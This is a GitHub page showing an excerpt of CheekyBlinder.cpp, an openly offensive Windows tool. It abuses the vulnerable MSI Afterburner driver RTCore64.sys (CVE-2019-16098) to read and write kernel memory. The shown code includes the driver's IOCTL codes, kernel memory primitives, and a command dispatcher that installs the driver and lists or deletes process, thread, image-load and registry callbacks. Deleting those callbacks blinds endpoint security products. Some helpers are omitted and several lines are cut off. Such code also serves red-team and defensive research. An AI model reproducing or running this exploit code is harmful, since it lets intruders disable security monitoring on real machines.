Sign in

br-sn / CheekyBlinder Public

Notifications Fork 106 Star 541

Code Issues 2 Pull requests 2 Actions Projects Security Insights

CheekyBlinder / CheekyBlinder / CheekyBlinder.cpp

555 lines (461 loc) · 20.8 KB

Code Blame Raw

```
// Many thanks to
// https://github.com/Barakat/CVE-2019-16098 - original exploit
// https://github.com/RedCursorSecurityConsulting/PPLKiller - multiple code snippets were re-used h

#include <Windows.h>
#include <aclapi.h>
#include <Psapi.h>
#include <cstdio>
#include <iostream>

#if !defined(PRINT_ERROR_AUTO)
#define PRINT_ERROR_AUTO(func) (wprintf(L"ERROR " TEXT(__FUNCTION__) L" ; " func L" (0x%08x)\n", Ge
#endif


struct RTCORE64_MSR_READ {
    DWORD Register;
    DWORD ValueHigh;
    DWORD ValueLow;
};
static_assert(sizeof(RTCORE64_MSR_READ) == 12, "sizeof RTCORE64_MSR_READ must be 12 bytes");

struct RTCORE64_MEMORY_READ {
    BYTE Pad0[8];
    DWORD64 Address;
    BYTE Pad1[8];
```

```cpp
    DWORD ReadSize;
    DWORD Value;
    BYTE Pad3[16];
};
static_assert(sizeof(RTCORE64_MEMORY_READ) == 48, "sizeof RTCORE64_MEMORY_READ must be 48 bytes");

struct RTCORE64_MEMORY_WRITE {
    BYTE Pad0[8];
    DWORD64 Address;
    BYTE Pad1[8];
    DWORD ReadSize;
    DWORD Value;
    BYTE Pad3[16];
};
static_assert(sizeof(RTCORE64_MEMORY_WRITE) == 48, "sizeof RTCORE64_MEMORY_WRITE must be 48 bytes")

static const DWORD RTCORE64_MSR_READ_CODE = 0x80002030;
static const DWORD RTCORE64_MEMORY_READ_CODE = 0x80002048;
static const DWORD RTCORE64_MEMORY_WRITE_CODE = 0x8000204c;


DWORD ReadMemoryPrimitive(HANDLE Device, DWORD Size, DWORD64 Address) {
    RTCORE64_MEMORY_READ MemoryRead{};
    MemoryRead.Address = Address;
    MemoryRead.ReadSize = Size;

    DWORD BytesReturned;

    DeviceIoControl(Device,
        RTCORE64_MEMORY_READ_CODE,
        &MemoryRead,
        sizeof(MemoryRead),
        &MemoryRead,
        sizeof(MemoryRead),
        &BytesReturned,
        nullptr);

    return MemoryRead.Value;
}

void WriteMemoryPrimitive(HANDLE Device, DWORD Size, DWORD64 Address, DWORD Value) {
    RTCORE64_MEMORY_READ MemoryRead{};
    MemoryRead.Address = Address;
    MemoryRead.ReadSize = Size;
    MemoryRead.Value = Value;

    DWORD BytesReturned;

    DeviceIoControl(Device,
        RTCORE64_MEMORY_WRITE_CODE,
        &MemoryRead,
        sizeof(MemoryRead),
        &MemoryRead,
        sizeof(MemoryRead),
        &BytesReturned,
        nullptr);
}
BYTE ReadMemoryBYTE(HANDLE Device, DWORD64 Address) {
    return ReadMemoryPrimitive(Device, 1, Address) & 0xffffff;
}


WORD ReadMemoryWORD(HANDLE Device, DWORD64 Address) {
    return ReadMemoryPrimitive(Device, 2, Address) & 0xffff;
}

DWORD ReadMemoryDWORD(HANDLE Device, DWORD64 Address) {
    return ReadMemoryPrimitive(Device, 4, Address);
}

DWORD64 ReadMemoryDWORD64(HANDLE Device, DWORD64 Address) {
    return (static_cast<DWORD64>(ReadMemoryDWORD(Device, Address + 4)) << 32) | ReadMemoryDWORD(Dev
}

void WriteMemoryDWORD64(HANDLE Device, DWORD64 Address, DWORD64 Value) {
    WriteMemoryPrimitive(Device, 4, Address, Value & 0xffffffff);
    WriteMemoryPrimitive(Device, 4, Address + 4, Value >> 32);
}


void Log(const char* Message, ...) {
    const auto file = stderr;

    va_list Args;
    va_start(Args, Message);
    std::vfprintf(file, Message, Args);
    std::fputc('\n', file);
    va_end(Args);
}

DWORD64 Findkrnlbase() {
    DWORD cbNeeded = 0;
```

```
        DWORD cbNeeded = 0;
```

```cpp

int main(int argc, char* argv[]) {

    if (argc < 2) {
        printf("Usage: %s\n"
            " /proc - List Process Creation Callbacks\n"
            " /delproc <address> - Remove Process Creation Callback\n"
            " /thread - List Thread Creation Callbacks\n"
            " /delthread - Remove Thread Creation Callback\n"
            " /installDriver - Install the MSI driver\n"
            " /uninstallDriver - Uninstall the MSI driver\n"
            " /img - List Image Load Callbacks\n"
            " /delimg <address> - Remove Image Load Callback\n"
            " /reg - List Registry modification callbacks\n"
            , argv[0]);
        return 0;
    }

    const auto svcName = L"RTCore64";
    const auto svcDesc = L"Micro-Star MSI Afterburner";
    const wchar_t driverName[] = L"\\RTCore64.sys";
    const auto pathSize = MAX_PATH + sizeof(driverName) / sizeof(wchar_t);
    TCHAR driverPath[pathSize];
    GetCurrentDirectory(pathSize, driverPath);
    wcsncat_s(driverPath, driverName, sizeof(driverName) / sizeof(wchar_t));


    if (strcmp(argv[1] + 1, "proc") == 0) {

        findprocesscallbackroutine(NULL);
    }
    else if (strcmp(argv[1] + 1, "delproc") == 0 && argc == 3) {
        DWORD64 remove;
        remove = strtoull(argv[2], NULL, 16);
        findprocesscallbackroutine((DWORD64)remove);
    }
    else if (strcmp(argv[1] + 1, "installDriver") == 0) {
        if (auto status = service_install(svcName, svcDesc, driverPath, SERVICE_KERNEL_DRIVER, SERV
            wprintf(L"[!] 0x00000005 - Access Denied - Did you run as administrator?\n");
        }
    }
    else if (strcmp(argv[1] + 1, "uninstallDriver") == 0) {
        service_uninstall(svcName);
    }
    else if (strcmp(argv[1] + 1, "img") == 0) {

        findimgcallbackroutine(NULL);
    }
    else if (strcmp(argv[1] + 1, "thread") == 0) {

        findthreadcallbackroutine(NULL);
    }
    else if (strcmp(argv[1] + 1, "delthread") == 0 && argc == 3) {
        DWORD64 remove;
        remove = strtoull(argv[2], NULL, 16);
        findthreadcallbackroutine((DWORD64)remove);
    }
    else if (strcmp(argv[1] + 1, "delimg") == 0 && argc == 3) {
        DWORD64 remove;
        remove = strtoull(argv[2], NULL, 16);
        findimgcallbackroutine((DWORD64)remove);
    }
    else if (strcmp(argv[1] + 1, "reg") == 0) {

        findregistrycallbackroutines(NULL);
    }
    else {
        wprintf(L"Error: Check the help\n");

    }


    return 0;
}
```